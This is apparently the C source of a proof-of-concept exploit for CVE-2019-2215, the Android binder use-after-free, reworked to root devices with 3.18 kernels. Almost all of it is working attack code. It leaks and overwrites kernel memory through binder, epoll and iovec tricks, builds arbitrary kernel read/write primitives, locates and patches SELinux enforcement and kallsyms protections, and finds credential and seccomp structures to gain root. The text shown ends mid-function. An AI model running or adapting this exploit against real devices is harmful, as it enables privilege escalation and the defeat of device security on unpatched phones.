2 * POC to gain arbitrary kernel R/W access using CVE-2019-2215
3 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
5 * Jann Horn & Maddie Stone of Google Project Zero
6 * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019)
7 * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98
12 #define DELAY_USEC 200000
15 // Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64
16 //#define KERNEL_BASE 0xffffffc000080000ul
17 #define KERNEL_BASE 0xffffffc000000000ul
18 #define OFFSET__thread_info__flags 0x000
19 #define OFFSET__task_struct__stack 0x008
20 #define OFFSET__cred__uid 0x004
21 #define OFFSET__cred__securebits 0x024
22 #define OFFSET__cred__cap_permitted 0x030
23 #define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008)
24 #define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010)
26 #define USER_DS 0x8000000000ul
27 #define BINDER_SET_MAX_THREADS 0x40046205ul
33 #define KALLSYMS_CACHING
34 #define KSYM_NAME_LEN 128
36 //Not needed, but saved for future use; the offsets are for LGV20 LS998
37 //#define OFFSET__task_struct__seccomp 0x9b0
38 //#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster
39 //#define OFFSET__task_struct__cred 0x550
40 #define OFFSET__cred__security 0x078
41 #define OFFSET__cred__cap_inheritable 0x028
42 #define OFFSET__cred__cap_ambient 0x048
43 //#define OFFSET__task_struct__mm 0x308
57 #include <sys/epoll.h>
58 #include <sys/ioctl.h>
62 #include <linux/sched.h>
64 #include <sys/prctl.h>
65 #include <sys/socket.h>
69 #define MAX_PACKAGE_NAME 1024
71 #define MIN(x, y) ((x) < (y) ? (x) : (y))
72 #define MAX(x, y) ((x) > (y) ? (x) : (y))
74 #define BINDER_THREAD_EXIT 0x40046208ul
75 // NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
76 #define BINDER_THREAD_SZ 0x188
77 #define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
78 #define WAITQUEUE_OFFSET (0x98)
79 #define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
80 #define UAF_SPINLOCK 0x10001
82 #define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8
86 const char whitelist
[] = "su98-whitelist.txt";
87 const char denyfile
[] = "su98-denied.txt";
88 int have_kallsyms
= 0;
94 unsigned long addresses
;
96 unsigned long num_syms
;
97 unsigned long token_table
;
98 unsigned long markers
;
99 char* token_table_data
;
100 unsigned short token_index_data
[256];
103 void message(char *fmt
, ...)
114 void error(char* fmt
, ...)
118 vfprintf(stderr
, fmt
, ap
);
120 fprintf(stderr
, ": %s\n", errno
? strerror(errno
) : "error");
124 int isKernelPointer(unsigned long p
) {
125 return p
>= KERNEL_BASE
&& p
<=0xFFFFFFFFFFFFFFFEul
;
128 unsigned long kernel_read_ulong(unsigned long kaddr
);
130 void hexdump_memory(void *_buf
, size_t byte_count
)
132 unsigned char *buf
= _buf
;
133 unsigned long byte_offset_start
= 0;
135 error( "hexdump_memory called with non-full line");
136 for (unsigned long byte_offset
= byte_offset_start
; byte_offset
< byte_offset_start
+ byte_count
;
141 linep
+= sprintf(linep
, "%08lx ", byte_offset
);
142 for (int i
= 0; i
< 16; i
++)
144 linep
+= sprintf(linep
, "%02hhx ", (unsigned char)buf
[byte_offset
+ i
]);
146 linep
+= sprintf(linep
, " |");
147 for (int i
= 0; i
< 16; i
++)
149 char c
= buf
[byte_offset
+ i
];
150 if (isalnum(c
) || ispunct(c
) || c
== ' ')
159 linep
+= sprintf(linep
, "|");
168 unsigned long iovec_size(struct iovec
*iov
, int n
)
170 unsigned long sum
= 0;
171 for (int i
= 0; i
< n
; i
++)
172 sum
+= iov
[i
].iov_len
;
176 unsigned long iovec_max_size(struct iovec
*iov
, int n
)
179 for (int i
= 0; i
< n
; i
++)
181 if (iov
[i
].iov_len
> m
)
187 int clobber_data(unsigned long payloadAddress
, const void *src
, unsigned long payloadLength
)
189 int dummyBufferSize
= MAX(UAF_SPINLOCK
, PAGE
);
190 char *dummyBuffer
= malloc(dummyBufferSize
);
191 if (dummyBuffer
== NULL
)
192 error( "allocating dummyBuffer");
194 memset(dummyBuffer
, 0, dummyBufferSize
);
196 message("PARENT: clobbering at 0x%lx", payloadAddress
);
198 struct epoll_event event
= {.events
= EPOLLIN
};
200 ioctl(binder_fd
, BINDER_SET_MAX_THREADS
, &max_threads
);
201 if (epoll_ctl(epfd
, EPOLL_CTL_ADD
, binder_fd
, &event
))
204 unsigned long testDatum
= 0;
205 unsigned long const testValue
= 0xABCDDEADBEEF1234ul
;
207 struct iovec iovec_array
[IOVEC_ARRAY_SZ
];
208 memset(iovec_array
, 0, sizeof(iovec_array
));
210 const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS
= 3;
212 unsigned long second_write_chunk
[SECOND_WRITE_CHUNK_IOVEC_ITEMS
* 2] = {
213 (unsigned long)dummyBuffer
,
214 /* iov_base (currently in use) */ // wq->task_list->next
215 SECOND_WRITE_CHUNK_IOVEC_ITEMS
* 0x10,
216 /* iov_len (currently in use) */ // wq->task_list->prev
218 payloadAddress
, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
221 (unsigned long)&testDatum
,
225 int delta
= (UAF_SPINLOCK
+ sizeof(second_write_chunk
)) % PAGE
;
226 int paddingSize
= delta
== 0 ? 0 : PAGE
- delta
;
228 iovec_array
[IOVEC_INDX_FOR_WQ
- 1].iov_base
= dummyBuffer
;
229 iovec_array
[IOVEC_INDX_FOR_WQ
- 1].iov_len
= paddingSize
;
230 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_base
= dummyBuffer
;
231 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_len
= 0; // spinlock: will turn to UAF_SPINLOCK
232 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_base
= second_write_chunk
; // wq->task_list->next: will turn to payloadAddress of task_list
233 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_len
= sizeof(second_write_chunk
); // wq->task_list->prev: will turn to payloadAddress of task_list
234 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_base
= dummyBuffer
; // stuff from this point will be overwritten and/or ignored
235 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_len
= UAF_SPINLOCK
;
236 iovec_array
[IOVEC_INDX_FOR_WQ
+ 3].iov_base
= dummyBuffer
;
237 iovec_array
[IOVEC_INDX_FOR_WQ
+ 3].iov_len
= payloadLength
;
238 iovec_array
[IOVEC_INDX_FOR_WQ
+ 4].iov_base
= dummyBuffer
;
239 iovec_array
[IOVEC_INDX_FOR_WQ
+ 4].iov_len
= sizeof(testDatum
);
240 int totalLength
= iovec_size(iovec_array
, IOVEC_ARRAY_SZ
);
244 if ((fcntl(pipes
[0], F_SETPIPE_SZ
, PAGE
)) != PAGE
)
246 if ((fcntl(pipes
[1], F_SETPIPE_SZ
, PAGE
)) != PAGE
)
249 pid_t fork_ret
= fork();
255 prctl(PR_SET_PDEATHSIG
, SIGKILL
);
257 message("CHILD: Doing EPOLL_CTL_DEL.");
258 epoll_ctl(epfd
, EPOLL_CTL_DEL
, binder_fd
, &event
);
259 message("CHILD: Finished EPOLL_CTL_DEL.");
261 char *f
= malloc(totalLength
);
263 error( "Allocating memory");
264 memset(f
, 0, paddingSize
+ UAF_SPINLOCK
);
265 unsigned long pos
= paddingSize
+ UAF_SPINLOCK
;
266 memcpy(f
+ pos
, second_write_chunk
, sizeof(second_write_chunk
));
267 pos
+= sizeof(second_write_chunk
);
268 memcpy(f
+ pos
, src
, payloadLength
);
269 pos
+= payloadLength
;
270 memcpy(f
+ pos
, &testValue
, sizeof(testDatum
));
271 pos
+= sizeof(testDatum
);
272 write(pipes
[1], f
, pos
);
273 message("CHILD: wrote %lu", pos
);
279 ioctl(binder_fd
, BINDER_THREAD_EXIT
, NULL
);
280 int b
= readv(pipes
[0], iovec_array
, IOVEC_ARRAY_SZ
);
282 message("PARENT: readv returns %d, expected %d", b
, totalLength
);
284 if (testDatum
!= testValue
)
285 message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum
, testValue
);
287 message("PARENT: clobbering test passed");
293 return testDatum
== testValue
;
296 int leak_data(void *leakBuffer
, int leakAmount
,
297 unsigned long extraLeakAddress
, void *extraLeakBuffer
, int extraLeakAmount
,
298 unsigned long *task_struct_ptr_p
, unsigned long *task_struct_plus_8_p
)
300 unsigned long const minimumLeak
= TASK_STRUCT_OFFSET_FROM_TASK_LIST
+ 8;
301 unsigned long adjLeakAmount
= MAX(leakAmount
, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough
305 struct epoll_event event
= {.events
= EPOLLIN
};
307 ioctl(binder_fd
, BINDER_SET_MAX_THREADS
, &max_threads
);
308 if (epoll_ctl(epfd
, EPOLL_CTL_ADD
, binder_fd
, &event
))
311 struct iovec iovec_array
[IOVEC_ARRAY_SZ
];
313 memset(iovec_array
, 0, sizeof(iovec_array
));
315 int delta
= (UAF_SPINLOCK
+ minimumLeak
) % PAGE
;
316 int paddingSize
= (delta
== 0 ? 0 : PAGE
- delta
) + PAGE
;
318 iovec_array
[IOVEC_INDX_FOR_WQ
- 2].iov_base
= (unsigned long *)0xDEADBEEF;
319 iovec_array
[IOVEC_INDX_FOR_WQ
- 2].iov_len
= PAGE
;
320 iovec_array
[IOVEC_INDX_FOR_WQ
- 1].iov_base
= (unsigned long *)0xDEADBEEF;
321 iovec_array
[IOVEC_INDX_FOR_WQ
- 1].iov_len
= paddingSize
- PAGE
;
322 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_base
= (unsigned long *)0xDEADBEEF;
323 iovec_array
[IOVEC_INDX_FOR_WQ
].iov_len
= 0; /* spinlock: will turn to UAF_SPINLOCK */
324 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_base
= (unsigned long *)0xDEADBEEF; /* wq->task_list->next */
325 iovec_array
[IOVEC_INDX_FOR_WQ
+ 1].iov_len
= adjLeakAmount
; /* wq->task_list->prev */
326 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_base
= (unsigned long *)0xDEADBEEF; // we shouldn't get to here
327 iovec_array
[IOVEC_INDX_FOR_WQ
+ 2].iov_len
= extraLeakAmount
+ UAF_SPINLOCK
+ 8;
328 unsigned long totalLength
= iovec_size(iovec_array
, IOVEC_ARRAY_SZ
);
329 unsigned long maxLength
= iovec_size(iovec_array
, IOVEC_ARRAY_SZ
);
330 unsigned char *dataBuffer
= malloc(maxLength
);
332 if (dataBuffer
== NULL
)
333 error( "Allocating %ld bytes", maxLength
);
335 for (int i
= 0; i
< IOVEC_ARRAY_SZ
; i
++)
336 if (iovec_array
[i
].iov_base
== (unsigned long *)0xDEADBEEF)
337 iovec_array
[i
].iov_base
= dataBuffer
;
346 if ((fcntl(pipefd
[0], F_SETPIPE_SZ
, PAGE
)) != PAGE
)
348 if ((fcntl(pipefd
[1], F_SETPIPE_SZ
, PAGE
)) != PAGE
)
351 pid_t fork_ret
= fork();
357 char childSuccess
= 1;
359 prctl(PR_SET_PDEATHSIG
, SIGKILL
);
361 message("CHILD: Doing EPOLL_CTL_DEL.");
362 epoll_ctl(epfd
, EPOLL_CTL_DEL
, binder_fd
, &event
);
363 message("CHILD: Finished EPOLL_CTL_DEL.");
365 unsigned long size1
= paddingSize
+ UAF_SPINLOCK
+ minimumLeak
;
366 message("CHILD: initial portion length 0x%lx", size1
);
368 memset(buffer
, 0, size1
);
369 if (read(pipefd
[0], buffer
, size1
) != size1
)
370 error( "reading first part of pipe");
372 memcpy(dataBuffer
, buffer
+ size1
- minimumLeak
, minimumLeak
);
375 if (memcmp(dataBuffer
, dataBuffer
+ 8, 8))
377 unsigned long addr
= 0;
378 memcpy(&addr
, dataBuffer
, 8);
380 if (!isKernelPointer(addr
)) {
385 unsigned long task_struct_ptr
= 0;
387 memcpy(&task_struct_ptr
, dataBuffer
+ TASK_STRUCT_OFFSET_FROM_TASK_LIST
, 8);
388 message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr
);
390 if (!badPointer
&& (extraLeakAmount
> 0 || task_struct_plus_8_p
!= NULL
))
392 unsigned long extra
[6] = {
399 message("CHILD: clobbering with extra leak structures");
400 if (clobber_data(addr
, &extra
, sizeof(extra
)))
401 message("CHILD: clobbered");
403 message("CHILD: **fail** iovec clobbering didn't work");
409 if (read(pipefd
[0], dataBuffer
+ minimumLeak
, adjLeakAmount
- minimumLeak
) != adjLeakAmount
- minimumLeak
)
412 write(leakPipe
[1], dataBuffer
, adjLeakAmount
);
414 if (extraLeakAmount
> 0)
416 message("CHILD: extra leak");
417 if (read(pipefd
[0], extraLeakBuffer
, extraLeakAmount
) != extraLeakAmount
) {
419 error( "extra leaking");
421 write(leakPipe
[1], extraLeakBuffer
, extraLeakAmount
);
422 //hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16);
424 if (task_struct_plus_8_p
!= NULL
)
426 if (read(pipefd
[0], dataBuffer
, 8) != 8) {
428 error( "leaking second field of task_struct");
430 message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer
);
431 write(leakPipe
[1], dataBuffer
, 8);
433 write(leakPipe
[1], &childSuccess
, 1);
439 message("CHILD: Finished write to FIFO.");
443 message("CHILD: **fail** problematic address pointer, e.g., %lx", addr
);
447 message("PARENT: soon will be calling WRITEV");
449 ioctl(binder_fd
, BINDER_THREAD_EXIT
, NULL
);
450 b
= writev(pipefd
[1], iovec_array
, IOVEC_ARRAY_SZ
);
451 message("PARENT: writev() returns 0x%x", (unsigned int)b
);
452 if (b
!= totalLength
) {
453 message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength
);
458 message("PARENT: Reading leaked data");
460 b
= read(leakPipe
[0], dataBuffer
, adjLeakAmount
);
461 if (b
!= adjLeakAmount
) {
462 message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b
, adjLeakAmount
);
468 memcpy(leakBuffer
, dataBuffer
, leakAmount
);
470 if (extraLeakAmount
!= 0)
472 message("PARENT: Reading extra leaked data");
473 b
= read(leakPipe
[0], extraLeakBuffer
, extraLeakAmount
);
474 if (b
!= extraLeakAmount
) {
475 message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b
, extraLeakAmount
);
481 if (task_struct_plus_8_p
!= NULL
)
483 if (read(leakPipe
[0], task_struct_plus_8_p
, 8) != 8) {
484 message( "PARENT: **fail** reading leaked task_struct at offset 8");
490 char childSucceeded
=0;
492 read(leakPipe
[0], &childSucceeded
, 1);
497 if (task_struct_ptr_p
!= NULL
)
498 memcpy(task_struct_ptr_p
, dataBuffer
+ TASK_STRUCT_OFFSET_FROM_TASK_LIST
, 8);
508 //if (wait(&status) != fork_ret) error( "wait");
513 message("PARENT: leaking successful");
518 int leak_data_retry(void *leakBuffer
, int leakAmount
,
519 unsigned long extraLeakAddress
, void *extraLeakBuffer
, int extraLeakAmount
,
520 unsigned long *task_struct_ptr_p
, unsigned long *task_struct_plus_8_p
) {
522 while (try < RETRIES
&& !leak_data(leakBuffer
, leakAmount
, extraLeakAddress
, extraLeakBuffer
, extraLeakAmount
, task_struct_ptr_p
, task_struct_plus_8_p
)) {
523 message("MAIN: **fail** retrying");
526 if (0 < try && try < RETRIES
)
527 message("MAIN: it took %d tries, but succeeded", try);
528 return try < RETRIES
;
531 int clobber_data_retry(unsigned long payloadAddress
, const void *src
, unsigned long payloadLength
) {
533 while (try < RETRIES
&& !clobber_data(payloadAddress
, src
, payloadLength
)) {
534 message("MAIN: **fail** retrying");
537 if (0 < try && try < RETRIES
)
538 message("MAIN: it took %d tries, but succeeded", try);
539 return try < RETRIES
;
543 int kernel_rw_pipe
[2];
545 struct kernel_buffer
{
546 unsigned char pageBuffer
[PAGE
];
547 unsigned long pageBufferOffset
;
548 } kernel_buffer
= { .pageBufferOffset
= 0 };
550 void reset_kernel_pipes()
552 kernel_buffer
.pageBufferOffset
= 0;
553 close(kernel_rw_pipe
[0]);
554 close(kernel_rw_pipe
[1]);
555 if (pipe(kernel_rw_pipe
))
556 error( "kernel_rw_pipe");
559 int raw_kernel_write(unsigned long kaddr
, void *buf
, unsigned long len
)
562 error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len
);
563 if (write(kernel_rw_pipe
[1], buf
, len
) != len
||
564 read(kernel_rw_pipe
[0], (void *)kaddr
, len
) != len
)
566 reset_kernel_pipes();
572 void kernel_write(unsigned long kaddr
, void *buf
, unsigned long len
)
574 if (len
!= raw_kernel_write(kaddr
, buf
, len
))
575 error( "error with kernel writing");
578 int raw_kernel_read(unsigned long kaddr
, void *buf
, unsigned long len
)
581 error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len
);
582 if (write(kernel_rw_pipe
[1], (void *)kaddr
, len
) != len
|| read(kernel_rw_pipe
[0], buf
, len
) != len
)
584 reset_kernel_pipes();
590 void kernel_read(unsigned long kaddr
, void *buf
, unsigned long len
)
593 error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len
);
594 if (len
!= raw_kernel_read(kaddr
, buf
, len
))
595 error( "error with kernel reading");
598 unsigned char kernel_read_uchar(unsigned long offset
) {
599 if (kernel_buffer
.pageBufferOffset
== 0 || offset
< kernel_buffer
.pageBufferOffset
|| kernel_buffer
.pageBufferOffset
+PAGE
<= offset
) {
600 kernel_buffer
.pageBufferOffset
= offset
& ~(PAGE
-1);
601 kernel_read(kernel_buffer
.pageBufferOffset
, kernel_buffer
.pageBuffer
, PAGE
);
603 return kernel_buffer
.pageBuffer
[offset
-kernel_buffer
.pageBufferOffset
];
606 unsigned long kernel_read_ulong(unsigned long kaddr
)
609 kernel_read(kaddr
, &data
, sizeof(data
));
612 unsigned long kernel_read_uint(unsigned long kaddr
)
615 kernel_read(kaddr
, &data
, sizeof(data
));
618 void kernel_write_ulong(unsigned long kaddr
, unsigned long data
)
620 kernel_write(kaddr
, &data
, sizeof(data
));
622 void kernel_write_uint(unsigned long kaddr
, unsigned int data
)
624 kernel_write(kaddr
, &data
, sizeof(data
));
626 void kernel_write_uchar(unsigned long kaddr
, unsigned char data
)
628 kernel_write(kaddr
, &data
, sizeof(data
));
632 unsigned long findSelinuxEnforcingFromAvcDenied(unsigned long avc_denied_address
)
634 unsigned long address
;
635 unsigned long selinux_enforcing_address
;
637 for(address
= avc_denied_address
; address
<= avc_denied_address
+ 0x60; address
+= 4)
639 unsigned int instruction
= kernel_read_uint(address
);
643 unsigned int instruction_masked
= instruction
;
644 instruction_masked
>>= 24;
645 instruction_masked
&= 0x9F;
646 if((instruction_masked
^ 0x90) == 0 )
648 selinux_enforcing_address
= address
;
649 unsigned int imm_hi
, imm_lo
, imm
;
650 imm_hi
= (instruction
>> 5) & 0x7FFFF;
651 imm_lo
= (instruction
>> 29) & 3;
652 imm
= ((imm_hi
<< 2) | imm_lo
) << 12;
653 selinux_enforcing_address
&= 0xFFFFFFFFFFFFF000;
654 selinux_enforcing_address
+= imm
;
660 unsigned int instruction_masked
= instruction
;
661 instruction_masked
>>= 22;
662 instruction_masked
&= 0x2FF;
663 if((instruction_masked
^ 0x2E5) == 0 )
665 unsigned int offset
= ((instruction
>> 10) & 0xFFF) << 2;
666 selinux_enforcing_address
+= offset
;
667 message("selinux_enforcing address found");
668 return selinux_enforcing_address
;
672 message("selinux_enforcing address not found");
676 // Make the kallsyms module not check for permission to list symbol addresses
677 int fixKallsymsFormatStrings(unsigned long start
)
683 start
&= ~(PAGE
- 1);
685 unsigned long searchTarget
;
687 memcpy(&searchTarget
, "%pK %c %", 8);
692 unsigned long forwardAddress
= start
;
693 unsigned long backwardAddress
= start
- PAGE
;
694 unsigned long page
[PAGE
/ 8];
696 message("MAIN: searching for kallsyms format strings");
698 while ((backwards
|| forwards
) && found
< 2)
700 unsigned long address
= direction
> 0 ? forwardAddress
: backwardAddress
;
702 if (address
< 0xffffffc000000000ul
|| address
>= 0xffffffd000000000ul
|| raw_kernel_read(address
, page
, PAGE
) != PAGE
)
711 for (int i
= 0; i
< PAGE
/ 8; i
++)
712 if (page
[i
] == searchTarget
)
714 unsigned long a
= address
+ 8 * i
;
718 kernel_read(a
, fmt
, 16);
720 if (!strcmp(fmt
, "%pK %c %s\t[%s]\x0A"))
722 message("MAIN: patching longer version at %lx", a
);
723 if (15 != raw_kernel_write(a
, "%p %c %s\t[%s]\x0A", 15)) {
724 message("MAIN: **fail** probably you have read-only const storage");
729 else if (!strcmp(fmt
, "%pK %c %s\x0A"))
731 message("MAIN: patching shorter version at %lx", a
);
732 if (15 != raw_kernel_write(a
, "%p %c %s\x0A", 10)) {
733 message("MAIN: **fail** probably you have read-only const storage");
745 forwardAddress
+= PAGE
;
747 backwardAddress
-= PAGE
;
749 direction
= -direction
;
751 if (direction
< 0 && !backwards
)
755 else if (direction
> 0 && !forwards
)
764 int verifyCred(unsigned long cred_ptr
) {
766 if (cred_ptr
< 0xffffff0000000000ul
|| 4 != raw_kernel_read(cred_ptr
+OFFSET__cred__uid
, &uid
, 4))
768 return uid
== getuid();
771 int getCredOffset(unsigned char* task_struct_data
) {
773 unsigned n
= MIN(strlen(myName
)+1, 16);
774 memcpy(taskname
, myName
, n
);
777 for (int i
=OFFSET__task_struct__stack
+8; i
<PAGE
-16; i
+=8) {
778 if (0 == memcmp(task_struct_data
+i
, taskname
, n
) && verifyCred(*(unsigned long*)(task_struct_data
+i
-8)))
783 error("Cannot find cred structure");
787 int getSeccompOffset(unsigned char* task_struct_data
, unsigned credOffset
, unsigned seccompStatus
) {
788 if (seccompStatus
!= 2)
791 unsigned long firstGuess
= -1;
793 for (int i
=credOffset
&~7; i
<PAGE
-24; i
+=8) {
795 unsigned long seccomp_status
;
796 unsigned long seccomp_filter
;
797 unsigned int parent_exe
;
798 unsigned int child_exe
;
799 } *p
= (void*)(task_struct_data
+i
);
801 if (p
->seccomp_status
== seccompStatus
&& isKernelPointer(p
->seccomp_filter
)) {
802 if (p
->child_exe
== p
->parent_exe
+ 1) {
815 unsigned long countIncreasingEntries(unsigned long start
) {
816 unsigned long count
= 1;
817 unsigned long prev
= kernel_read_ulong(start
);
820 unsigned long v
= kernel_read_ulong(start
);
827 int increasing(unsigned long* location
, unsigned n
) {
828 for (int i
=0; i
<n
-1; i
++)
829 if (location
[i
] > location
[i
+1])
834 int find_kallsyms_addresses(unsigned long searchStart
, unsigned long searchEnd
, unsigned long* startP
, unsigned long* countP
) {
835 if (searchStart
== 0)
836 searchStart
= KERNEL_BASE
;
838 searchEnd
= searchStart
+ 0x5000000;
839 unsigned long foundStart
= 0;
841 unsigned char page
[PAGE
];
842 for (unsigned long i
=searchStart
; i
<searchEnd
; i
+=PAGE
) {
843 if (PAGE
== raw_kernel_read(i
, page
, PAGE
))
844 for (int j
=0; j
<PAGE
; j
+=0x100) {
845 if (isKernelPointer(*(unsigned long*)(page
+j
)) && increasing((unsigned long*)(page
+j
), 256/8-1)) {
846 unsigned long count
= countIncreasingEntries(i
+j
);
847 if (count
>= 40000) {
852 else if (count
>= 10000) {
853 message("MAIN: interesting, found a sequence of 10000 non-decreasing entries at 0x%lx", (i
+j
));
861 int get_kallsyms_name(unsigned long offset
, char* name
) {
862 unsigned char length
= kernel_read_uchar(offset
++);
864 for (unsigned char i
= 0; i
< length
; i
++) {
865 int index
= kallsyms
.token_index_data
[kernel_read_uchar(offset
++)];
866 int n
= strlen(kallsyms
.token_table_data
+index
);
867 memcpy(name
, kallsyms
.token_table_data
+index
, n
);
879 if (!find_kallsyms_addresses(0, 0, &kallsyms
.addresses
, &kallsyms
.num_syms
))
882 message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms
.addresses
, kallsyms
.num_syms
);
883 unsigned long offset
= kallsyms
.addresses
+ 8 * kallsyms
.num_syms
;
885 message("MAIN: kallsyms names end at 0x%lx", offset
);
886 struct kernel_buffer buf
= {.pageBufferOffset
= 0};
888 offset
= (offset
+ 0xFFul
) & ~0xFFul
;
890 unsigned long count
= kernel_read_ulong(offset
);
893 if (count
!= kallsyms
.num_syms
) {
894 message("MAIN: **fail** kallsym entry count mismatch %ld", count
);
897 offset
= (offset
+ 0xFFul
) & ~0xFFul
;
899 kallsyms
.names
= offset
;
901 for (unsigned long i
= 0 ; i
< kallsyms
.num_syms
; i
++) {
902 unsigned char len
= kernel_read_uchar(offset
++);
906 offset
= (offset
+ 0xFF) & ~0xFFul
;
908 kallsyms
.markers
= offset
;
910 offset
+= 8 * ((kallsyms
.num_syms
+ 255ul) / 256ul);
912 offset
= (offset
+ 0xFF) & ~0xFFul
;
914 kallsyms
.token_table
= offset
;
918 while (tokens
< 256) {
919 if (kernel_read_uchar(offset
++) == 0)
923 unsigned long token_table_length
= offset
- kallsyms
.token_table
;
925 kallsyms
.token_table_data
= malloc(token_table_length
);
928 if (kallsyms
.token_table_data
== NULL
)
929 error("allocating token table");
931 for (unsigned long i
= 0 ; i
< token_table_length
; i
++)
932 kallsyms
.token_table_data
[i
] = kernel_read_uchar(kallsyms
.token_table
+ i
);
934 offset
= (offset
+ 0xFF) & ~0xFFul
;
936 kernel_read(offset
, kallsyms
.token_index_data
, sizeof(kallsyms
.token_index_data
));
943 unsigned long findSymbol_memory_search(char* symbol
) {
944 message("MAIN: searching for kallsyms table");
945 if (! loadKallsyms()) {
946 message("MAIN: **fail** cannot find kallsyms table");
949 unsigned long offset
= kallsyms
.names
;
950 char name
[KSYM_NAME_LEN
];
951 unsigned n
= strlen(symbol
);
953 for(unsigned long i
= 0; i
< kallsyms
.num_syms
; i
++) {
954 unsigned int n
= get_kallsyms_name(offset
, name
);
955 if (!strncmp(name
+1, symbol
, n
) && (name
[1+n
] == '.' || !name
[1+n
])) {
956 unsigned long address
= kernel_read_ulong(kallsyms
.addresses
+ i
*8);
957 message( "MAIN: found %s in kernel memory at %lx", symbol
, address
);
967 char* allocateSymbolCachePathName(char* symbol
) {
968 int n
= strlen(myPath
);
970 char* pathname
= malloc(strlen(symbol
)+7+1+n
);
971 if (pathname
== NULL
) {
973 error("allocating memory for pathname");
975 strcpy(pathname
, myPath
);
976 strcat(pathname
, symbol
);
977 strcat(pathname
, ".symbol");
982 unsigned long findSymbol_in_cache(char* symbol
) {
983 char* pathname
= allocateSymbolCachePathName(symbol
);
984 unsigned long address
= 0;
986 FILE *cached
= fopen(pathname
, "r");
987 if (cached
!= NULL
) {
988 fscanf(cached
, "%lx", &address
);
997 void cacheSymbol(char* symbol
, unsigned long address
) {
998 #ifdef KALLSYMS_CACHING
999 if (address
!= 0 && address
!= findSymbol_in_cache(symbol
)) {
1000 char* pathname
= allocateSymbolCachePathName(symbol
);
1001 FILE *cached
= fopen(pathname
, "w");
1002 if (cached
!= NULL
) {
1003 fprintf(cached
, "%lx\n", address
);
1005 char* cmd
= alloca(10+strlen(pathname
)+1);
1006 sprintf(cmd
, "chmod 666 %s", pathname
);
1008 message("cached %s", pathname
);
1015 unsigned long findSymbol(unsigned long pointInKernelMemory
, char *symbol
)
1017 unsigned long address
= 0;
1019 #ifdef KALLSYMS_CACHING
1020 address
= findSymbol_in_cache(symbol
);
1025 #ifndef PROC_KALLSYMS
1026 address
= findSymbol_memory_search(symbol
);
1032 FILE *ks
= fopen("/proc/kallsyms", "r");
1034 return findSymbol_memory_search(symbol
);
1036 fgets(buf
, 1024, ks
);
1040 if ( (buf
[0] == 0 || strncmp(buf
, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory
) == 0)
1042 message( "MAIN: **partial failure** cannnot fix kallsyms format string");
1043 address
= findSymbol_memory_search(symbol
);
1046 ks
= fopen("/proc/kallsyms", "r");
1047 while (NULL
!= fgets(buf
, sizeof(buf
), ks
))
1051 unsigned n
= strlen(symbol
);
1053 sscanf(buf
, "%lx %c %s", &a
, &type
, sym
);
1054 if (!strncmp(sym
, symbol
, n
) && (sym
[n
]=='.' || !sym
[n
])) {
1055 message( "found %s in /proc/kallsyms", sym
);
1068 void checkKernelVersion() {
1070 FILE *k
= fopen("/proc/version", "r");
1073 fgets(buf
, sizeof(buf
), k
);
1074 if (NULL
!= strstr(buf
, "Linux version 4"))
1077 if (kernel3
) message("MAIN: detected kernel version 3");
1078 else message("MAIN: detected kernel version other than 3");
1081 void getPackageName(unsigned uid
, char* packageName
) {
1083 strcpy(packageName
, "adb");
1086 else if (uid
== 0) {
1087 strcpy(packageName
, "root");
1090 strcpy(packageName
, "(unknown)");
1091 FILE* f
= fopen("/data/system/packages.list", "r");
1095 char pack
[MAX_PACKAGE_NAME
];
1096 while(2 == fscanf(f
, "%s %u%*[^\n]", pack
, &id
)) {
1098 strncpy(packageName
, pack
, MAX_PACKAGE_NAME
);
1099 packageName
[MAX_PACKAGE_NAME
-1] = 0;
1107 int checkWhitelist(unsigned uid
) {
1108 if (uid
== 0 || uid
== 2000)
1111 char *path
= alloca(strlen(myPath
) + sizeof(whitelist
));
1112 strcpy(path
, myPath
);
1113 strcat(path
, whitelist
);
1115 FILE* wl
= fopen(path
, "r");
1118 message("MAIN: no whitelist, so all callers are welcome");
1122 char parent
[MAX_PACKAGE_NAME
];
1123 getPackageName(uid
, parent
);
1128 while (NULL
!= fgets(line
, sizeof(line
), wl
)) {
1129 line
[sizeof(line
)-1] = 0;
1131 while (*p
&& isspace(*p
))
1133 char*q
= p
+ strlen(p
) - 1;
1134 while (p
< q
&& isspace(*q
))
1139 if (!strncmp(parent
, p
, q
-p
-1)) {
1144 else if (!strcmp(parent
,p
)) {
1154 message("MAIN: whitelist allows %s", parent
